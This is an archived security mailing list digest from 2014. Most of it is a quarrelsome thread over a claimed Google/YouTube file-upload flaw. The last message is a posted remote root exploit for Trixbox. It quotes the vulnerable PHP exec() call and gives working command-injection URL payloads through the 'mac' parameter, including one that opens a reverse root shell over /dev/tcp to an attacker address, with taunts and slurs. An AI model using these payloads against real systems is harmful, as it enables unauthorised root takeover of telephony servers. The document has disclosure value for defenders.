>>> On Fri, Mar 14, 2014 at 3:55 PM, Mario Vilas  wrote:
>>>
  On Fri, Mar 14, 2014 at 12:38 PM, Nicholas Lemonias. <
 lem.niko...@googlemail.com> wrote:

> Jerome of Mcafee has made a very valid point on revisiting  separation
> of duties in this security instance.
>
> Happy to see more professionals with some skills.  Some others have
> also mentioned the feasibility for Denial of Service attacks. Remote code
> execution by Social Engineering is also a prominent scenario.
>
 Actually, people have been pointing out exactly the opposite. But if you
 insist on believing you can DoS an EC2 by uploading files, good luck to you
 then...


> If you can't tell that that is a vulnerability (probably coming from a
> bunch of CEH's), I feel sorry for those consultants.
>
 You're the only one throwing around certifications here. I can no longer
 tell if you're being serious or this is a massive prank.


> Nicholas.
>
>
> On Fri, Mar 14, 2014 at 10:45 AM, Nicholas Lemonias. <
> lem.niko...@googlemail.com> wrote:
>
>> We are on a different level perhaps. We do certainly disagree on those
>> points.
>> I wouldn't hire you as a consultant, if you can't tell if that is a
>> valid vulnerability..
>>
>>
>> Best Regards,
>> Nicholas Lemonias.
>>
>>  On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas wrote:
>>
>>> But do you have all the required EH certifications? Try this one from
>>> the Institute for
>>> Certified Application Security Specialists: http://www.asscert.com/
>>>
>>>
>>> On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. <
>>> lem.niko...@googlemail.com> wrote:
>>>
 Thanks Michal,

 We are just trying to improve Google's security and contribute to
 the research community after all. If you are still on EFNet give me a 
 shout
 some time.

  We have done so and consulted to hundreds of clients including
 Microsoft, Nokia, Adobe and some of the world's biggest corporations. 
 We
 are also strict supporters of the ACM code of conduct.

 Regards,
 Nicholas Lemonias.
 AISec


 On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. <
 lem.niko...@googlemail.com> wrote:

> Hi Jerome,
>
> Thank you for agreeing on access control, and separation of duties.
>
> However successful exploitation permits arbitrary write() of any
> file of choice.
>
> I could release an exploit code in C Sharp or Python that permits
>

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-15 Thread David H 
Just curious; what universities have hired you as a lecturer?


On Sat, Mar 15, 2014 at 1:09 AM, Nicholas Lemonias. <
lem.niko...@googlemail.com> wrote:

> You are too vague. Please keep this to a level.
>
> Thank you.
>
>
> *Best Regards,*
> *Nicholas Lemonias*
>
> *Advanced Information Security Corporation.*
>
>
> On Sat, Mar 15, 2014 at 5:06 AM, Colette Chamberland <
> cjchamberl...@gmail.com> wrote:
>
>> Omg please for the love of all things human STFU!!!
>>
>> Sent from my iPhone
>>
>> On Mar 15, 2014, at 12:43 AM, "Nicholas Lemonias." <
>> lem.niko...@googlemail.com> wrote:
>>
>> If you wish to talk seriously about the problem, please send me an email
>> privately. And we can talk about what we have found so far, and perhaps
>> present some more proof of concepts for this on going research. This is
>> between the researcher and Google.
>>
>> People who do not have the facts have been, trying to attack the arguer,
>> on the basis of their personal beliefs. We are not speaking from
>> experience, but based on our findings which includes PoC media, images,
>> codes - and based on academic literature and recognised practise. Please
>> bear in mind that a lot of research is conducted in academia (those old
>> papers you say) before finally released to the commercial markets.
>>
>> Regards,
>>
>> *Nicholas Lemonias*
>> *Information Security Expert*
>> *Advanced Information Security Corp.*
>>
>>
>> On Fri, Mar 14, 2014 at 10:49 PM, Mario Vilas  wrote:
>>
>>> Try learning how to properly send emails before critizicing anyone, pal.
>>> ;)
>>>
>>>
>>> On Fri, Mar 14, 2014 at 6:44 PM, Nicholas Lemonias. <
>>> lem.niko...@googlemail.com> wrote:
>>>

 People can read the report if they like. Can't you even do basic things
 like reading a vulnerability report?

 Can't you see that the advisory is about writing arbitrary files. If I
 was your boss I would fire you.
 -- Forwarded message --
 From: Nicholas Lemonias. 
  Date: Fri, Mar 14, 2014 at 5:43 PM
 Subject: Re: [Full-disclosure] Google vulnerabilities with PoC
 To: Mario Vilas 


 People can read the report if they like. Can't you even do basic things
 like reading a vulnerability report?

 Can't you see that the advisory is about writing arbitrary files. If I
 was your boss I would fire you, with a good kick outta the door.






 On Fri, Mar 14, 2014 at 3:55 PM, Mario Vilas  wrote:

>  On Fri, Mar 14, 2014 at 12:38 PM, Nicholas Lemonias. <
> lem.niko...@googlemail.com> wrote:
>
>> Jerome of Mcafee has made a very valid point on
>> revisiting  separation of duties in this security instance.
>>
>> Happy to see more professionals with some skills.  Some others have
>> also mentioned the feasibility for Denial of Service attacks. Remote code
>> execution by Social Engineering is also a prominent scenario.
>>
>
> Actually, people have been pointing out exactly the opposite. But if
> you insist on believing you can DoS an EC2 by uploading files, good luck 
> to
> you then...
>
>
>>
>> If you can't tell that that is a vulnerability (probably coming from
>> a bunch of CEH's), I feel sorry for those consultants.
>>
>
> You're the only one throwing around certifications here. I can no
> longer tell if you're being serious or this is a massive prank.
>
>
>>
>> Nicholas.
>>
>>
>> On Fri, Mar 14, 2014 at 10:45 AM, Nicholas Lemonias. <
>> lem.niko...@googlemail.com> wrote:
>>
>>> We are on a different level perhaps. We do certainly disagree on
>>> those points.
>>> I wouldn't hire you as a consultant, if you can't tell if that is a
>>> valid vulnerability..
>>>
>>>
>>> Best Regards,
>>> Nicholas Lemonias.
>>>
>>>  On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas wrote:
>>>
 But do you have all the required EH certifications? Try this one
 from the Institute for
 Certified Application Security Specialists: http://www.asscert.com/


 On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. <
 lem.niko...@googlemail.com> wrote:

> Thanks Michal,
>
> We are just trying to improve Google's security and contribute to
> the research community after all. If you are still on EFNet give me a 
> shout
> some time.
>
>  We have done so and consulted to hundreds of clients including
> Microsoft, Nokia, Adobe and some of the world's biggest corporations. 
> We
> are also strict supporters of the ACM code of conduct.
>
> Regards,
> Nicholas Lemonias.
> AISec
>
>
> On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. <
> lem.niko...@googlemail.com> wrote:
>
>> Hi Jerome,
>>>

Re: [Full-disclosure] Full-Disclosure Digest, Vol 109, Issue 32

2014-03-15 Thread ChienD 
For the n00b guy in the room, Great post Chris!
Thanks for spelling it out clearly.




> Message: 6
> Date: Fri, 14 Mar 2014 16:00:02 -0400
> From: Chris Thompson 
> To: lem.niko...@googlemail.com, full-disclosure@lists.grok.org.uk
> Subject: Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
> Message-ID:
>  ysuwpg4fu7byno8h3f-29e51d...@mail.gmail.com>
> Content-Type: text/plain; charset="iso-8859-1"
>
> Hi Nikolas,
>
> Please do read (and understand) my entire email before responding - I
> understand your frustration trying to get your message across but maybe
> this will help...



Matt
"So much to learn, So little time"
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-15 Thread Brian M. Waters 
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

On 03/15/2014 02:26, Nicholas Lemonias. wrote:
> https://www.youtube.com/watch?v=G4EkgJtjDvU - Here is proof that 
> the file is saved and processed.


Compared to probably most of the folks on this list, I have absolutely
no idea what I'm doing.


However, at the time I accessed your latest URL (around 2:51 AM EST, or
6:51 GMT), I got a message saying "The video is currently being
processed."

So, for all we know, the file is in some queue, waiting for Google to
notice that it's invalid, at which point it will be deleted.

Please get back to us when we are able to download your invalid file,
via YouTube, on our various machines scattered across the globe.

Also, please stop sending so many damn short emails in a row.
Consolidation is nice.

Thank you,

BW

- -- 
Brian M. Waters
+1 (908) 380-8214
br...@brianmwaters.net

-BEGIN PGP SIGNATURE-
Version: GnuPG v2.0.22 (FreeBSD)

iQEcBAEBCgAGBQJTI/v3AAoJEEYNFaEjEsGopDwH/R8q9+1wWsKg0j8Wg5zIdZZr
tVNT0IIh9vyjC57WxxQ2SamKoEWsCSt4A8aQ60gup2ImT+XoRpSYMZKWAyKOwz//
yiDjKKI9fsRRdXaBT3r8uWLftWA8WzASrMqrqMhayj06HNXjRXhyonJVdxxgrg/6
h+FaZYGlYdmrGtb02pve5i7in6OoYBQj4m85KVzq+Pnvfowqo6VHzlLwfK3vaD4a
8sEm+i63N02VT6ItO9y7fCcv52pU0sjepGIoYV2aTHkIR3BaNmyxSEVaOZclDY37
6HFSdkWZP0rvkQefNY6QcUvMfBszxFfecQ5cGfIcbScx35iLChXQMYJpH9dmPao=
=Ngjk
-END PGP SIGNATURE-

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-15 Thread Colette Chamberland 
Omg please for the love of all things human STFU!!!

Sent from my iPhone

> On Mar 15, 2014, at 12:43 AM, "Nicholas Lemonias." 
>  wrote:
> 
> If you wish to talk seriously about the problem, please send me an email 
> privately. And we can talk about what we have found so far, and perhaps 
> present some more proof of concepts for this on going research. This is 
> between the researcher and Google.
>  
> People who do not have the facts have been, trying to attack the arguer, on 
> the basis of their personal beliefs. We are not speaking from experience, but 
> based on our findings which includes PoC media, images, codes - and based on 
> academic literature and recognised practise. Please bear in mind that a lot 
> of research is conducted in academia (those old papers you say) before 
> finally released to the commercial markets.
>  
> Regards, 
>  
> Nicholas Lemonias
> Information Security Expert
> Advanced Information Security Corp.
> 
>  
>> On Fri, Mar 14, 2014 at 10:49 PM, Mario Vilas  wrote:
>> Try learning how to properly send emails before critizicing anyone, pal. ;)
>> 
>> 
>>> On Fri, Mar 14, 2014 at 6:44 PM, Nicholas Lemonias. 
>>>  wrote:
>>> 
>>> People can read the report if they like. Can't you even do basic things 
>>> like reading a vulnerability report?
>>>  
>>> Can't you see that the advisory is about writing arbitrary files. If I was 
>>> your boss I would fire you.
>>> -- Forwarded message --
>>> From: Nicholas Lemonias. 
>>> Date: Fri, Mar 14, 2014 at 5:43 PM
>>> Subject: Re: [Full-disclosure] Google vulnerabilities with PoC
>>> To: Mario Vilas 
>>> 
>>> 
>>> People can read the report if they like. Can't you even do basic things 
>>> like reading a vulnerability report?
>>>  
>>> Can't you see that the advisory is about writing arbitrary files. If I was 
>>> your boss I would fire you, with a good kick outta the door.
>>>  
>>>  
>>>  
>>>  
>>> 
>>> 
 On Fri, Mar 14, 2014 at 3:55 PM, Mario Vilas  wrote:
> On Fri, Mar 14, 2014 at 12:38 PM, Nicholas Lemonias. 
>  wrote:
> Jerome of Mcafee has made a very valid point on revisiting  separation of 
> duties in this security instance.
>  
> Happy to see more professionals with some skills.  Some others have also 
> mentioned the feasibility for Denial of Service attacks. Remote code 
> execution by Social Engineering is also a prominent scenario.
 
 Actually, people have been pointing out exactly the opposite. But if you 
 insist on believing you can DoS an EC2 by uploading files, good luck to 
 you then...
  
>  
> If you can't tell that that is a vulnerability (probably coming from a 
> bunch of CEH's), I feel sorry for those consultants.
 
 You're the only one throwing around certifications here. I can no longer 
 tell if you're being serious or this is a massive prank.
  
>  
> Nicholas.
> 
> 
>> On Fri, Mar 14, 2014 at 10:45 AM, Nicholas Lemonias. 
>>  wrote:
>> We are on a different level perhaps. We do certainly disagree on those 
>> points.
>> I wouldn't hire you as a consultant, if you can't tell if that is a 
>> valid vulnerability..
>>  
>>  
>> Best Regards,
>> Nicholas Lemonias.
>>  
>>> On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas  wrote:
>>> But do you have all the required EH certifications? Try this one from 
>>> the Institute for 
>>> Certified Application Security Specialists: http://www.asscert.com/
>>> 
>>> 
 On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. 
  wrote:
 Thanks Michal,
  
 We are just trying to improve Google's security and contribute to the 
 research community after all. If you are still on EFNet give me a 
 shout some time.
  
  We have done so and consulted to hundreds of clients including 
 Microsoft, Nokia, Adobe and some of the world's biggest corporations. 
 We are also strict supporters of the ACM code of conduct.
  
 Regards,
 Nicholas Lemonias.
 AISec
 
 
> On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. 
>  wrote:
> Hi Jerome,
>  
> Thank you for agreeing on access control, and separation of duties.
>  
> However successful exploitation permits arbitrary write() of any file 
> of choice.
>  
> I could release an exploit code in C Sharp or Python that permits 
> multiple file uploads of any file/types, if the Google security team 
> feels that this would be necessary. This is unpaid work, so we are 
> not so keen on that job. 
>  
> 
> 
>> On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias 
>>  wrote:
>> Hi
>> 
>> I concur that we are mainly discussing a terminology problem.
>> 
>> In the

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-15 Thread William Scott Lockwood III 
It's amazing how much dumber I feel for having read your drivel.
Please for the love of <$diety> stop posting to this list.

--
W. Scott Lockwood III
AMST Tech (SPI)
GWB2009033817
http://www.shadowplayinternational.org/
"There are four boxes to be used in defense of liberty:  soap, ballot,
jury, and ammo. Please use in that order." -Ed Howdershelt (Author)


On Fri, Mar 14, 2014 at 9:48 PM, Nicholas Lemonias.
 wrote:
> Go to sleep. You have absolutely no understanding of the vulnerability, nor
> you have the facts.
>
> If you want a full report ask Softpedia, because we aint releasing them.
>
>
> On Fri, Mar 14, 2014 at 8:39 PM, R D  wrote:
>>
>> >You are trying to execute an sh script through a video player. That's an
>> > exec() command.
>> No, it's not. That's an HTTP GET. Do you have such a poor understanding of
>> how web applications work? Or did you just not read what I said?
>>
>> >So its the wrong way about accessing the file.
>> This way, which is the standard way to access files on youtube, tells me
>> the file doesn't exist. You have yet to prove the file you uploaded can be
>> accessed or executed by anyone. For that matter, you have still to prove it
>> can be discovered by anyone. That URL is hard to guess.
>> And you have still to answer all my other questions, and most of the
>> questions asked to you on this list.
>> The burden of proof is on you, and you are making a fool of yourself by
>> answering all the questions here with the same statements, and links to your
>> PoC that doesn't proves anything, while everybody asks you for more
>> evidence.
>> Keep on the (good?) work,
>> --Rob'
>>
>>
>> On Fri, Mar 14, 2014 at 9:22 PM, Nicholas Lemonias.
>>  wrote:
>>>
>>> You are trying to execute an sh script through a video player. That's an
>>> exec() command. So its the wrong way about accessing the file.
>>>
>>>
>>> On Fri, Mar 14, 2014 at 8:20 PM, R D  wrote:

 No it's not. As Chris and I are saying, you don't have proof your file
 is accessible to others, only that is was uploaded. Now, you see, when you
 upload a video to youtube, you get the adress where it will be viewable in
 the response. In your case :

 {"sessionStatus":{"state":"FINALIZED","externalFieldTransfers":[{"name":"file","status":"COMPLETED","bytesTransferred":113,"bytesTotal":113,"formPostInfo":{"url":"http://www.youtube.com/upload/rupio?authuser=0\u0026upload_id=AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aw\u0026file_id=000","cross_domain_url":"http://upload.youtube.com/?authuser=0\u0026upload_id=AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aw\u0026origin=CiNodHRwOi8vd3d3LnlvdXR1YmUuY29tL3VwbG9hZC9ydXBpbxINdmlkZW8tdXBsb2Fkcw"},"content_type":"text/x-sh"}],"additionalInfo":{"uploader_service.GoogleRupioAdditionalInfo":{"completionInfo":{"status":"SUCCESS","customerSpecificInfo":{"status":
 "ok", "video_id":
 "KzKDtijwHFI","upload_id":"AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aw"}}
 And what do we get when we browse to
 https://youtube.com/watch?v=KzKDtijwHFI ?
 Nothing.
 Can you send me a link where I can access the file content of the
 arbitrary file you uploaded?
 Are you sure this json response, or this file, will be there in a month?
 Or in a year? Is the fact that this json response exists a threat to
 youtube? Can you quantify how of a threat? How much, in dollars, does it
 hurt their business?

 --Rob


 On Fri, Mar 14, 2014 at 9:08 PM, Nicholas Lemonias.
  wrote:
>
> My claim is now verified
>
> Cheers!
>
>
> On Fri, Mar 14, 2014 at 8:04 PM, Nicholas Lemonias.
>  wrote:
>>
>>
>> http://upload.youtube.com/?authuser=0&upload_id=AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aw&origin=CiNodHRwOi8vd3d3LnlvdXR1YmUuY29tL3VwbG9hZC9ydXBpbxINdmlkZW8tdXBsb2Fkcw
>>
>> That information can be queried from the db, where the metadata are
>> saved. The files are being saved persistently , as per the above example.
>>
>>
>> On Fri, Mar 14, 2014 at 8:04 PM, Nicholas Lemonias.
>>  wrote:
>>>
>>>
>>> http://upload.youtube.com/?authuser=0&upload_id=AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aw&origin=CiNodHRwOi8vd3d3LnlvdXR1YmUuY29tL3VwbG9hZC9ydXBpbxINdmlkZW8tdXBsb2Fkcw
>>>
>>> That information can be queried from the db, where the metadata are
>>> saved. The files are being saved persistently , as per the above 
>>> example.
>>>
>>>
>>> On Fri, Mar 14, 2014 at 8:00 PM, Chris Thompson
>>>  wrote:

 Hi Nikolas,

 Please do read (and understand) my entire email before responding -
 I understand your frustration trying to ge

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-15 Thread Colette Chamberland 
Same here... It's like a train wreck, you know you shouldn't watch but it's 
just so damned entertaining at this point that I can't stop...



Sent from my iPhone

> On Mar 14, 2014, at 2:46 PM, Yvan Janssens  wrote:
> 
> Does anybody still have some popcorn left? 
> 
> They ran out of it in the tax free zone in here due to this thread...
> 
> Kind regards,
> 
> Yvan Janssens
> 
> Sent from my PDA - excuse me for my brevity
> 
>> On 14 Mar 2014, at 18:40, "Nicholas Lemonias."  
>> wrote:
>> 
>> We have many PoC's including video clips. We may upload for the security 
>> world to see.
>>  
>> However, this is not the way to treat security vulnerabilities. Attacking 
>> the researcher and bringing you friends to do aswell, won't mitigate the 
>> problem.
>>  
>>  
>> ___
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-15 Thread Michael Smith 

I'm just a lurker on the list, which I have always found valuable. 

But for what it's worth, this thread is an awful bore. Who cares 
about people's credentials? 

I'm not asking for administrative intervention, which I hate, but 
rather that the various entrants in the pissing contest empty their 
bladders elsewhere. Please! 


___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-15 Thread M Kirschbaum 
The thread starter is right about this. It is a vulnerability, and I think 
Google should start considering this.
 
The JSON service responds to GET requests , and there is a good chance that the 
service is also vulnerable to JSON Hijacking attacks.
 
As a professional penetration tester , I believe that Google was false not to 
award this.___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] Trixbox all versions , Remote root Exploit

2014-03-15 Thread 0u7 5m4r7 
# App : Trixbox all versions
# vendor : trixbox.com
# Author : i-Hmx
# mail : n0p1...@gmail.com
# Home : security arrays inc , sec4ever.com ,exploit4arab.net

Well well well , we decided to give schmoozecom a break and have a look @
fonality products
do you think they have better product than the (Award winning) trixbox!!!
I don't think so
"Designed and marketed for Fonality's partner community, trixbox Pro is an
IP-PBX software solution purpose built to support growing SMB businesses.
A unique hybrid hosted telephony solution; trixbox Pro provides big
business features at an SMB cost . . blah blah blah"
What do we have here??
A 3 years old Sql injection flaw???
not big deal , and already been reported
not enough good exloitation , but reported
A file disclosure flaw???
save it for later
let's give Fonality little Remote root Exploit xD
and als give the pentesters some pain in the ass trying to exploit this
consider it as challenge ;)
Here we go
Vulnerable file :
/var/www/html/maint/modules/endpointcfg/endpoint_aastra.php
Pice of $hit , sorry i mean code

switch($_action) {
case 'Edit':
if ($_REQUEST['newmac']){ // create a new phone from device map
$mac_address = $_REQUEST['newmac'];
}
if ($_REQUEST['mac']){
$phoneinfo = GetPhone($_REQUEST['mac'],$PhoneType);
$mac_address=$phoneinfo['mac_address'];} // if there is a
request ID we Edit otherwise add a new phone

$freepbx_device_list = GetFreepbxDeviceList();
$smarty->assign("mac_address", $mac_address);
$smarty->assign("phone", $phoneinfo);
$smarty->assign("freepbx_device_list", $freepbx_device_list);

$smarty->assign("message", $message);
$template = "endpoint_".$PhoneType."_edit.tpl";
break;

case 'Delete':
exec("rm ".$sipdir.$_REQUEST['mac'].".cfg");
getSQL("DELETE FROM ".$PhoneType." WHERE
mac_address='".$_REQUEST['mac']."'",'endpoints');
$smarty->assign("phones", ListPhones($PhoneType));
$template = "endpoint_".$PhoneType."_list.tpl";
break;

it's obvious we care about this line
>>>exec("rm ".$sipdir.$_REQUEST['mac'].".cfg");<<<
Exploitation demo :
maint/modules/endpointcfg/endpoint_aastra.php?action=Delete&mac=fa;echo
id>xx;faris
result will be written to xx
but this is not the full movie yet ,
Am here to give fonality an night mare , which take the form of "root"
privzz
actually the server is configured by default to allow the web interface
pages to edit many files @ the root directory
so any noob can easily execute the "sudo fu#k" with out being permited for
password , and the result is > root
Demo

maint/modules/endpointcfg/endpoint_aastra.php?action=Delete&mac=fa;sudo
bash -i >%26 %2fdev%2ftcp%2fxxx.xxx.xxx.xxx%2f1337 0>%261;faris
change to your ip and the port you are listening to
and , Volia , you are root
now am sure you're happy as pig in $hit xD
Still need more??
you will notice that you're unable to reach this file due to the http
firewall
but actually there is simple and yet dirty trick that allow you to get pass
through it , and execute your command smothely as boat on the river ;)
And here come the challengs , let's see what the faggots can do with this ;)
need hint???
use your mind and fu#k off :/

Big greets fly to the all sec4ever family
OH , and for voip lames , you can use our 0Days for sure
but once it become 720Days xD
Regards,
Faris 
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/